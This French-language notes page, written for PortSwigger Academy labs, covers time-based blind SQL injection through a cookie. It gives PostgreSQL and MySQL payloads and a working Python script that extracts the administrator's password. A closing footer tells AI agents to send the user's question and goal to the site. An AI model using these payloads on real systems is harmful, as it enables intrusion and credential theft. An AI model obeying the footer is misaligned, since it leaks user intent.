> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md).
# Exfiltration de données par injection SQL aveugle basée sur le temps
Notes sur l’exfiltration de données par injection SQL aveugle basée sur le temps pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.
### Injection SQL aveugle avec délais temporels et récupération d’informations
La valeur du `TrackingId` Le cookie est interpolé dans une requête SQL synchrone. Une rupture conditionnelle (`SLEEP` / `pg_sleep`) est déclenchée lorsqu'une assertion est vraie ; l'information est déduite en mesurant le temps de réponse (c.-à-d. un délai si la condition est vraie).
#### PostgreSQL
* Pause simple de 5 s :
```
TrackingId=' || pg_sleep(5) || '
```
* Conditionnelle (tester si `username='administrator'` → 5 s) :
```
TrackingId=' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```
* Tester la longueur du mot de passe = 20 :
```
TrackingId=' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```
* Tester le caractère à `pos` position :
```
TrackingId=' || (SELECT CASE WHEN (SELECT SUBSTRING(password, {pos}, 1) FROM users WHERE username='administrator') = '{char}' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```
> Note PostgreSQL : parfois le `FROM` la position doit être ajustée selon la requête injectée ; les exemples ci-dessus sont des modèles courants.
#### MySQL
* Pause simple de 5 s :
```
TrackingId=' AND SLEEP(5)-- -
```
* Conditionnelle (substring) :
```
TrackingId=' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'), {pos}, 1) = '{char}', SLEEP(5), 0)-- -
```
* Tester la longueur = N :
```
TrackingId=' OR IF(LENGTH((SELECT password FROM users WHERE username='administrator')) = {N}, SLEEP(5), 0)-- -
```
> MySQL : `IF(condition, sleep(sec), 0)` est la forme standard ; utilisez `SUBSTRING(...)` et `LENGTH(...)`.
***
### Exemples concrets (cookie complet)
Supposons `BASE=abc123` et la session `'SESSION=XYZ'`.
* Postgres — test du caractère pos=1 == 'a' :
```
Cookie : TrackingId=abc123' || (SELECT CASE WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '; Session=XYZ
```
* MySQL — test du caractère pos=1 == 'a' :
```
Cookie : TrackingId=abc123' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a', SLEEP(5), 0)-- -; Session=XYZ
```
### Script Python automatisé (corrigé, adaptable à Postgres et MySQL)
Ce script mesure la latence et reconstruit caractère par caractère. Paramètres : `TARGET`, `BASE_TRACKING`, `SESSION`, `DBMS` (`'postgres'` ou `'mysql'`), alphabet, délai attendu (`SLEEP_SEC`) et `MAX_LEN`.
```python
#!/usr/bin/env python3
"""
Extracteur SQLi aveugle basé sur le temps (Postgres / MySQL)
Utilisation : configurez TARGET, BASE_TRACKING, SESSION, DBMS, puis exécutez.
Exécutez UNIQUEMENT dans un environnement autorisé.
"""
import requests, time, string, sys, signal
# ------------- CONFIG -------------
TARGET = "https://EXAMPLE.web-security-academy.net/"
BASE_TRACKING = "test" # partie légitime du TrackingId
SESSION_VALUE = "SESSION_VALUE"
DBMS = "postgres" # "postgres" ou "mysql"
SLEEP_SEC = 5 # délai côté serveur déclenché
THRESHOLD = SLEEP_SEC - 1.0 # si la réponse > seuil => la condition est vraie
ALPHABET = string.ascii_lowercase + string.digits # à ajuster selon le besoin
MAX_LEN = 30
TIMEOUT = SLEEP_SEC + 5
# ------------- /CONFIG -------------
HEADERS = {"User-Agent": "Mozilla/5.0"}
def build_payload(sgdb, pos, ch):
if sgdb == "postgres":
# condition : substring(password,pos,1) = 'ch'
cond = f"(SELECT CASE WHEN (SELECT SUBSTRING(password,{pos},1) FROM users WHERE username='administrator') = '{ch}' THEN pg_sleep({SLEEP_SEC}) ELSE pg_sleep(0) END)"
payload = f"{BASE_TRACKING}' || {cond} || '"
elif sgdb == "mysql":
# IF(SUBSTRING((SELECT password ...),pos,1) = 'ch', SLEEP(X), 0)
cond = f"IF(SUBSTRING((SELECT password FROM users WHERE username='administrator' LIMIT 1),{pos},1)='{ch}', SLEEP({SLEEP_SEC}), 0)"
payload = f"{BASE_TRACKING}' OR {cond}-- -"
else:
raise ValueError("DBMS non pris en charge")
return payload
def send_request(payload):
cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
t0 = time.time()
try:
r = requests.get(TARGET, cookies=cookies, headers=HEADERS, timeout=TIMEOUT, verify=True, allow_redirects=False)
except requests.exceptions.RequestException as e:
return None, None
dt = time.time() - t0
return r, dt
def extract_password():
pwd = ""
for pos in range(1, MAX_LEN + 1):
found = False
for ch in ALPHABET:
payload = build_payload(DBMS, pos, ch)
_, dt = send_request(payload)
if dt is None:
print("[!] la requête a échoué, réessayez ou vérifiez la connexion")
sys.exit(1)
# débogage : print(f"pos={pos} try={ch} dt={dt:.2f}s")
if dt > THRESHOLD:
pwd += ch
print(f"[+] pos={pos} -> '{ch}' (dt={dt:.2f}s)")
found = True
break
if not found:
print(f"[-] Aucun caractère trouvé à la position {pos} -> fin probable")
break
return pwd
def sigint_handler(sig, frame):
print("/nInterrompu. Fermeture.")
sys.exit(0)
if __name__ == "__main__":
signal.signal(signal.SIGINT, sigint_handler)
print("[*] Démarrage de l'extraction (basée sur le temps)")
recovered = extract_password()
print(f"/n[=] Mot de passe récupéré (partiel/estimé) : {recovered}/n")
```
* Pour **Postgres**, `DBMS="postgres"`.
* Pour **MySQL**, `DBMS="mysql"`.
* Réduisez `ALPHABET` si vous connaissez l'ensemble de caractères (gain énorme).
* Ajustez `MAX_LEN` / `SLEEP_SEC` selon la cible.
* Backoff de récupération/exponentiel si nécessaire.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
